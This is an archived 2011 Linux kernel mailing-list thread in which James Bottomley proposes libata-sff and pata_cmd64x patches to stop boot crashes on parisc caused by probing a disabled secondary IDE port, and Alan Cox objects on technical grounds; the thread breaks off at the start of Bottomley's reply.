From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot on
 parisc
Date: Mon, 18 Apr 2011 13:42:27 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1303152147.7167.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303152156 10744 80.91.229.12 (18 Apr 2011 18:42:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 18:42:36 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 20:42:32 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBtP5-0001rM-GU
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 20:42:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756063Ab1DRSmb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 14:42:31 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58783 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755954Ab1DRSma (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 14:42:30 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E71258EE0A4;
	Mon, 18 Apr 2011 11:42:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id V+D1R0Kth8sI; Mon, 18 Apr 2011 11:42:29 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 78C268EE01D;
	Mon, 18 Apr 2011 11:42:29 -0700 (PDT)
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3553 gmane.linux.ide:49319
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3553>

currently libata-sff is completely ignoring the enabled/disabled status
of the interfaces.  This is a real problem on parisc because if you
touch a non responding memory area (i.e. a disabled interface) you crash
the box.

Fix this up by restoring the enablebits logic to the pata_cmd64x driver.
To do this, libata-sff has to be modified not to probe both ports if we
don't have them.  This is done by reintroducing IDE_HFLAG_SINGLE flag as
ATA_HOST_SFF_SINGLE_PORT which drivers can use to condition libata-sff
port probing.

James

---

James Bottomley (2):
  libata-sff: remove hardcoded requirement for two ports
  pata_cmd64x: fix crash on boot with disabled secondary port

 drivers/ata/libata-sff.c  |   75 ++++++++++++++++++++++++++++++++------------
 drivers/ata/pata_cmd64x.c |   22 +++++++++++--
 include/linux/libata.h    |    1 +
 3 files changed, 74 insertions(+), 24 deletions(-)

-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: [PATCH 1/2] libata-sff: remove hardcoded requirement for two ports
Date: Mon, 18 Apr 2011 13:44:18 -0500
Lines: 228
Approved: news@gmane.org
Message-ID: <1303152258.7167.14.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303152269 11379 80.91.229.12 (18 Apr 2011 18:44:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 18:44:29 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 20:44:25 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBtQu-0003bC-12
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 20:44:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756373Ab1DRSoW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 14:44:22 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:58790 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756379Ab1DRSoV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 14:44:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BA6978EE0A4;
	Mon, 18 Apr 2011 11:44:21 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id w+860L4MTLuz; Mon, 18 Apr 2011 11:44:21 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 781588EE01D;
	Mon, 18 Apr 2011 11:44:20 -0700 (PDT)
In-Reply-To: <1303152147.7167.12.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3554 gmane.linux.ide:49320
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3554>

The two port requirement in libata-sff is causing crashes on non-x86
systems which are wired up with the second port disabled.

Fix libata-sff to key of a new host flag ATA_HOST_SFF_SINGLE_PORT
which tells it only to probe the primary port of the host.  This
prevents the crash by preventing the disabled secondary registers from
being touched.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 drivers/ata/libata-sff.c |   75 +++++++++++++++++++++++++++++++++-------------
 include/linux/libata.h   |    1 +
 2 files changed, 55 insertions(+), 21 deletions(-)

diff --git a/drivers/ata/libata-sff.c b/drivers/ata/libata-sff.c
index f8380ce..f0aa7db 100644
--- a/drivers/ata/libata-sff.c
+++ b/drivers/ata/libata-sff.c
@@ -2296,7 +2296,7 @@ int ata_pci_sff_init_host(struct ata_host *host)
 	int i, rc;
 
 	/* request, iomap BARs and init port addresses accordingly */
-	for (i = 0; i < 2; i++) {
+	for (i = 0; i < host->n_ports; i++) {
 		struct ata_port *ap = host->ports[i];
 		int base = i * 2;
 		void __iomem * const *iomap;
@@ -2349,10 +2349,11 @@ int ata_pci_sff_init_host(struct ata_host *host)
 EXPORT_SYMBOL_GPL(ata_pci_sff_init_host);
 
 /**
- *	ata_pci_sff_prepare_host - helper to prepare PCI PIO-only SFF ATA host
+ *	ata_pci_sff_prepare_host_ports - helper to prepare PCI PIO-only SFF ATA host
  *	@pdev: target PCI device
  *	@ppi: array of port_info, must be enough for two ports
  *	@r_host: out argument for the initialized ATA host
+ *	@ports: number of ports in the host
  *
  *	Helper to allocate PIO-only SFF ATA host for @pdev, acquire
  *	all PCI resources and initialize it accordingly in one go.
@@ -2363,9 +2364,9 @@ EXPORT_SYMBOL_GPL(ata_pci_sff_init_host);
  *	RETURNS:
  *	0 on success, -errno otherwise.
  */
-int ata_pci_sff_prepare_host(struct pci_dev *pdev,
-			     const struct ata_port_info * const *ppi,
-			     struct ata_host **r_host)
+static int ata_pci_sff_prepare_host_ports(struct pci_dev *pdev,
+					  const struct ata_port_info * const *ppi,
+					  struct ata_host **r_host, int nports)
 {
 	struct ata_host *host;
 	int rc;
@@ -2373,7 +2374,7 @@ int ata_pci_sff_prepare_host(struct pci_dev *pdev,
 	if (!devres_open_group(&pdev->dev, NULL, GFP_KERNEL))
 		return -ENOMEM;
 
-	host = ata_host_alloc_pinfo(&pdev->dev, ppi, 2);
+	host = ata_host_alloc_pinfo(&pdev->dev, ppi, nports);
 	if (!host) {
 		dev_printk(KERN_ERR, &pdev->dev,
 			   "failed to allocate ATA host\n");
@@ -2393,6 +2394,27 @@ err_out:
 	devres_release_group(&pdev->dev, NULL);
 	return rc;
 }
+
+/**
+ *	ata_pci_sff_prepare_host - helper to prepare PCI PIO-only SFF ATA host
+ *	@pdev: target PCI device
+ *	@ppi: array of port_info, must be enough for two ports
+ *	@r_host: out argument for the initialized ATA host
+ *
+ *	Helper to allocate PIO-only SFF ATA host for @pdev, acquire
+ *	all PCI resources and initialize it accordingly in one go.
+ *
+ *	LOCKING:
+ *	Inherited from calling layer (may sleep).
+ *
+ *	RETURNS:
+ *	0 on success, -errno otherwise.
+ */
+int ata_pci_sff_prepare_host(struct pci_dev *pdev,
+			     const struct ata_port_info * const *ppi,
+			     struct ata_host **r_host) {
+	return ata_pci_sff_prepare_host_ports(pdev, ppi, r_host, 2);
+}
 EXPORT_SYMBOL_GPL(ata_pci_sff_prepare_host);
 
 /**
@@ -2447,13 +2469,15 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 		return -ENOMEM;
 
 	if (!legacy_mode && pdev->irq) {
+		int i;
+
 		rc = devm_request_irq(dev, pdev->irq, irq_handler,
 				      IRQF_SHARED, drv_name, host);
 		if (rc)
 			goto out;
 
-		ata_port_desc(host->ports[0], "irq %d", pdev->irq);
-		ata_port_desc(host->ports[1], "irq %d", pdev->irq);
+		for (i = 0; i < host->n_ports; i++)
+			ata_port_desc(host->ports[i], "irq %d", pdev->irq);
 	} else if (legacy_mode) {
 		if (!ata_port_is_dummy(host->ports[0])) {
 			rc = devm_request_irq(dev, ATA_PRIMARY_IRQ(pdev),
@@ -2466,7 +2490,7 @@ int ata_pci_sff_activate_host(struct ata_host *host,
 				      ATA_PRIMARY_IRQ(pdev));
 		}
 
-		if (!ata_port_is_dummy(host->ports[1])) {
+		if (host->n_ports > 1 && !ata_port_is_dummy(host->ports[1])) {
 			rc = devm_request_irq(dev, ATA_SECONDARY_IRQ(pdev),
 					      irq_handler, IRQF_SHARED,
 					      drv_name, host);
@@ -2532,6 +2556,7 @@ int ata_pci_sff_init_one(struct pci_dev *pdev,
 	const struct ata_port_info *pi;
 	struct ata_host *host = NULL;
 	int rc;
+	int nports = (hflag & ATA_HOST_SFF_SINGLE_PORT) ? 1 : 2;
 
 	DPRINTK("ENTER\n");
 
@@ -2550,7 +2575,7 @@ int ata_pci_sff_init_one(struct pci_dev *pdev,
 		goto out;
 
 	/* prepare and activate SFF host */
-	rc = ata_pci_sff_prepare_host(pdev, ppi, &host);
+	rc = ata_pci_sff_prepare_host_ports(pdev, ppi, &host, nports);
 	if (rc)
 		goto out;
 	host->private_data = host_priv;
@@ -3162,7 +3187,7 @@ static void ata_bmdma_nodma(struct ata_host *host, const char *reason)
 	dev_printk(KERN_ERR, host->dev, "BMDMA: %s, falling back to PIO\n",
 		   reason);
 
-	for (i = 0; i < 2; i++) {
+	for (i = 0; i < host->n_ports; i++) {
 		host->ports[i]->mwdma_mask = 0;
 		host->ports[i]->udma_mask = 0;
 	}
@@ -3213,7 +3238,7 @@ void ata_pci_bmdma_init(struct ata_host *host)
 	}
 	host->iomap = pcim_iomap_table(pdev);
 
-	for (i = 0; i < 2; i++) {
+	for (i = 0; i < host->n_ports; i++) {
 		struct ata_port *ap = host->ports[i];
 		void __iomem *bmdma = host->iomap[4] + 8 * i;
 
@@ -3231,6 +3256,20 @@ void ata_pci_bmdma_init(struct ata_host *host)
 }
 EXPORT_SYMBOL_GPL(ata_pci_bmdma_init);
 
+static int ata_pci_bmdma_prepare_host_ports(struct pci_dev *pdev,
+					    const struct ata_port_info * const * ppi,
+					    struct ata_host **r_host, int nports)
+{
+	int rc;
+
+	rc = ata_pci_sff_prepare_host_ports(pdev, ppi, r_host, nports);
+	if (rc)
+		return rc;
+
+	ata_pci_bmdma_init(*r_host);
+	return 0;
+}
+
 /**
  *	ata_pci_bmdma_prepare_host - helper to prepare PCI BMDMA ATA host
  *	@pdev: target PCI device
@@ -3250,14 +3289,7 @@ int ata_pci_bmdma_prepare_host(struct pci_dev *pdev,
 			       const struct ata_port_info * const * ppi,
 			       struct ata_host **r_host)
 {
-	int rc;
-
-	rc = ata_pci_sff_prepare_host(pdev, ppi, r_host);
-	if (rc)
-		return rc;
-
-	ata_pci_bmdma_init(*r_host);
-	return 0;
+	return ata_pci_bmdma_prepare_host_ports(pdev, ppi, r_host, 2);
 }
 EXPORT_SYMBOL_GPL(ata_pci_bmdma_prepare_host);
 
@@ -3287,6 +3319,7 @@ int ata_pci_bmdma_init_one(struct pci_dev *pdev,
 	const struct ata_port_info *pi;
 	struct ata_host *host = NULL;
 	int rc;
+	int nports = (hflags & ATA_HOST_SFF_SINGLE_PORT) ? 1 : 2;
 
 	DPRINTK("ENTER\n");
 
@@ -3305,7 +3338,7 @@ int ata_pci_bmdma_init_one(struct pci_dev *pdev,
 		goto out;
 
 	/* prepare and activate BMDMA host */
-	rc = ata_pci_bmdma_prepare_host(pdev, ppi, &host);
+	rc = ata_pci_bmdma_prepare_host_ports(pdev, ppi, &host, nports);
 	if (rc)
 		goto out;
 	host->private_data = host_priv;
diff --git a/include/linux/libata.h b/include/linux/libata.h
index 7f675aa..554b0d2 100644
--- a/include/linux/libata.h
+++ b/include/linux/libata.h
@@ -238,6 +238,7 @@ enum {
 	ATA_HOST_SIMPLEX	= (1 << 0),	/* Host is simplex, one DMA channel per host only */
 	ATA_HOST_STARTED	= (1 << 1),	/* Host started */
 	ATA_HOST_PARALLEL_SCAN	= (1 << 2),	/* Ports on this host can be scanned in parallel */
+	ATA_HOST_SFF_SINGLE_PORT = (1 << 3),	/* SFF interface should only probe one port not two */
 
 	/* bits 24:31 of host->flags are reserved for LLD specific flags */
 
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ide,gmane.linux.ports.parisc
Subject: [PATCH 2/2] pata_cmd64x: fix crash on boot with disabled secondary
 port
Date: Mon, 18 Apr 2011 13:45:23 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <1303152323.7167.16.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303152335 11793 80.91.229.12 (18 Apr 2011 18:45:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 18:45:35 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: linux-ide <linux-ide@vger.kernel.org>
Original-X-From: linux-ide-owner@vger.kernel.org Mon Apr 18 20:45:29 2011
Return-path: <linux-ide-owner@vger.kernel.org>
Envelope-to: lnx-linux-ide@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ide-owner@vger.kernel.org>)
	id 1QBtRv-0003bC-6V
	for lnx-linux-ide@lo.gmane.org; Mon, 18 Apr 2011 20:45:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751692Ab1DRSp0 (ORCPT <rfc822;lnx-linux-ide@m.gmane.org>);
	Mon, 18 Apr 2011 14:45:26 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45052 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751472Ab1DRSpZ (ORCPT
	<rfc822;linux-ide@vger.kernel.org>); Mon, 18 Apr 2011 14:45:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 871B18EE0A4;
	Mon, 18 Apr 2011 11:45:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 6ArDpL7t5nmw; Mon, 18 Apr 2011 11:45:25 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1E2F88EE01D;
	Mon, 18 Apr 2011 11:45:25 -0700 (PDT)
In-Reply-To: <1303152147.7167.12.camel@mulgrave.site>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-ide-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ide.vger.kernel.org>
X-Mailing-List: linux-ide@vger.kernel.org
Xref: news.gmane.org gmane.linux.ide:49321 gmane.linux.ports.parisc:3555
Archived-At: <http://permalink.gmane.org/gmane.linux.ide/49321>

On non-x86 systems, probing a port which is listed as disabled can
cause an immediate crash.  Fix the driver not to do this by porting
the enablebits check from the IDE driver and setting the
ATA_HOST_SFF_SINGLE_PORT flag if only the primary is enabled.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 drivers/ata/pata_cmd64x.c |   22 +++++++++++++++++++---
 1 files changed, 19 insertions(+), 3 deletions(-)

diff --git a/drivers/ata/pata_cmd64x.c b/drivers/ata/pata_cmd64x.c
index 905ff76..aa71a13 100644
--- a/drivers/ata/pata_cmd64x.c
+++ b/drivers/ata/pata_cmd64x.c
@@ -41,6 +41,9 @@
 enum {
 	CFR 		= 0x50,
 		CFR_INTR_CH0  = 0x04,
+	ENPORT		= 0x51,
+		ENPORT_PRIMARY   = 0x04,
+		ENPORT_SECONDARY = 0x08,
 	CMDTIM 		= 0x52,
 	ARTTIM0 	= 0x53,
 	DRWTIM0 	= 0x54,
@@ -329,8 +332,8 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 		}
 	};
 	const struct ata_port_info *ppi[] = { &cmd_info[id->driver_data], NULL };
-	u8 mrdmode;
-	int rc;
+	u8 mrdmode, reg;
+	int rc, hflags = 0;
 
 	rc = pcim_enable_device(pdev);
 	if (rc)
@@ -354,6 +357,19 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	mrdmode |= 0x02;	/* Memory read line enable */
 	pci_write_config_byte(pdev, MRDMODE, mrdmode);
 
+	/* check for enabled ports */
+	pci_read_config_byte(pdev, ENPORT, &reg);
+	/* the cm643 primary port is always enabled */
+	if (id->driver_data != 0 && !(reg & ENPORT_PRIMARY)) {
+		dev_printk(KERN_ERR, &pdev->dev, "Primary port is disabled; detaching\n");
+		return -ENODEV;
+		
+	}
+	if (!(reg & ENPORT_SECONDARY)) {
+		dev_printk(KERN_NOTICE, &pdev->dev, "Secondary port is disabled\n");
+		hflags |= ATA_HOST_SFF_SINGLE_PORT;
+	}
+
 	/* Force PIO 0 here.. */
 
 	/* PPC specific fixup copied from old driver */
@@ -361,7 +377,7 @@ static int cmd64x_init_one(struct pci_dev *pdev, const struct pci_device_id *id)
 	pci_write_config_byte(pdev, UDIDETCR0, 0xF0);
 #endif
 
-	return ata_pci_bmdma_init_one(pdev, ppi, &cmd64x_sht, NULL, 0);
+	return ata_pci_bmdma_init_one(pdev, ppi, &cmd64x_sht, NULL, hflags);
 }
 
 #ifdef CONFIG_PM
-- 
1.7.4.1



--
To unsubscribe from this list: send the line "unsubscribe linux-ide" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on boot
 on parisc
Date: Mon, 18 Apr 2011 20:52:03 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
References: <1303152147.7167.12.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303156284 3404 80.91.229.12 (18 Apr 2011 19:51:24 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 19:51:24 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 21:51:19 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBuTe-0001Uk-W6
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 21:51:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753569Ab1DRTvI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 15:51:08 -0400
Original-Received: from earthlight.etchedpixels.co.uk ([81.2.110.250]:51815 "EHLO
	www.etchedpixels.co.uk" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1753153Ab1DRTvH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 15:51:07 -0400
Original-Received: from localhost.localdomain (localhost.localdomain [127.0.0.1])
	by www.etchedpixels.co.uk (8.14.4/8.14.4) with ESMTP id p3IJq3Ei028891;
	Mon, 18 Apr 2011 20:52:04 +0100
In-Reply-To: <1303152147.7167.12.camel@mulgrave.site>
X-Mailer: Claws Mail 3.7.8 (GTK+ 2.22.0; x86_64-redhat-linux-gnu)
Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAwBAMAAAClLOS0AAAAFVBMVEWysKsSBQMIAwIZCwj///8wIhxoRDXH9QHCAAABeUlEQVQ4jaXTvW7DIBAAYCQTzz2hdq+rdg494ZmBeE5KYHZjm/d/hJ6NfzBJpp5kRb5PHJwvMPMk2L9As5Y9AmYRBL+HAyJKeOU5aHRhsAAvORQ+UEgAvgddj/lwAXndw2laEDqA4x6KEBhjYRCg9tBFCOuJFxg2OKegbWjbsRTk8PPhKPD7HcRxB7cqhgBRp9Dcqs+B8v4CQvFdqeot3Kov6hBUn0AJitrzY+sgUuiA8i0r7+B3AfqKcN6t8M6HtqQ+AOoELCikgQSbgabKaJW3kn5lBs47JSGDhhLKDUh1UMipwwinMYPTBuIBjEclSaGZUk9hDlTb5sUTYN2SFFQuPe4Gox1X0FZOufjgBiV1Vls7b+GvK3SU4wfmcGo9rPPQzgIabfj4TYQo15k3bTHX9RIw/kniir5YbtJF4jkFG+dsDK1IgE413zAthU/vR2HVMmFUPIHTvF6jWCpFaGw/A3qWgnbxpSm9MSmY5b3pM1gvNc/gQfwBsGwF0VCtxZgAAAAASUVORK5CYII=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3556 gmane.linux.ide:49322
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3556>

On Mon, 18 Apr 2011 13:42:27 -0500
James Bottomley <James.Bottomley@HansenPartnership.com> wrote:

> currently libata-sff is completely ignoring the enabled/disabled status
> of the interfaces. 

Yes - it makes some machines work rather better because the BIOSes
sometimes mess up the registers. It wad a *deliberate* decision not to
port it over and as a result stuff works that failed before. Windows
drivers clearly ignore the bits in many cases.

In addition
- Your patch seems to be applying the enable bits apply in native mode
  (they don't generally)
- You seem to be assuming either first or both ports enabled, secondly
  only is just as valid

This matters for CMD64x as several 64x devices are found on hotpluggable
'docking stations' using a PCI split bridge. Only doing the checks for
chips in legacy mode should avoid that problem. In native mode the PCI
bars are the only register bases used so the problem doesn't arise.

The patch seems to be broken for all these cases and also incredibly
invasive given you can just pass a dummy port in as one of
your struct ata_port_info * pointers to ata_pci_dma_init_one()

You shouldn't need to touch a single line of the core libata code,
although it might be the best way of doing it. Either way if you do the
number of ports needs to be a bitmask instead and you need to leave
native mode alone.

Alan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ide
Subject: Re: [PATCH 0/2] fix libata-sff and pata_cmd64x to not crash on
 boot on parisc
Date: Mon, 18 Apr 2011 15:08:07 -0500
Lines: 62
Approved: news@gmane.org
Message-ID: <1303157287.7167.26.camel@mulgrave.site>
References: <1303152147.7167.12.camel@mulgrave.site>
	 <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303157299 9809 80.91.229.12 (18 Apr 2011 20:08:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 18 Apr 2011 20:08:19 +0000 (UTC)
Cc: linux-ide <linux-ide@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 18 22:08:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QBujz-0003D6-Ii
	for glpp-linux-parisc@lo.gmane.org; Mon, 18 Apr 2011 22:08:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752156Ab1DRUIL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Apr 2011 16:08:11 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:36978 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751822Ab1DRUIK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Apr 2011 16:08:10 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C171E8EE0A4;
	Mon, 18 Apr 2011 13:08:09 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id vNJvxCvSJeP2; Mon, 18 Apr 2011 13:08:09 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 470EF8EE01D;
	Mon, 18 Apr 2011 13:08:09 -0700 (PDT)
In-Reply-To: <20110418205203.56bbdb14@lxorguk.ukuu.org.uk>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3557 gmane.linux.ide:49323
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3557>

On Mon, 2011-04-18 at 20:52 +0100, Alan Cox wrote:
> On Mon, 18 Apr 2011 13:42:27 -0500
> James Bottomley <James.Bottomley@HansenPartnership.com> wrote:
> 
> > currently libata-sff is completely ignoring the enabled/disabled status
> > of the interfaces. 
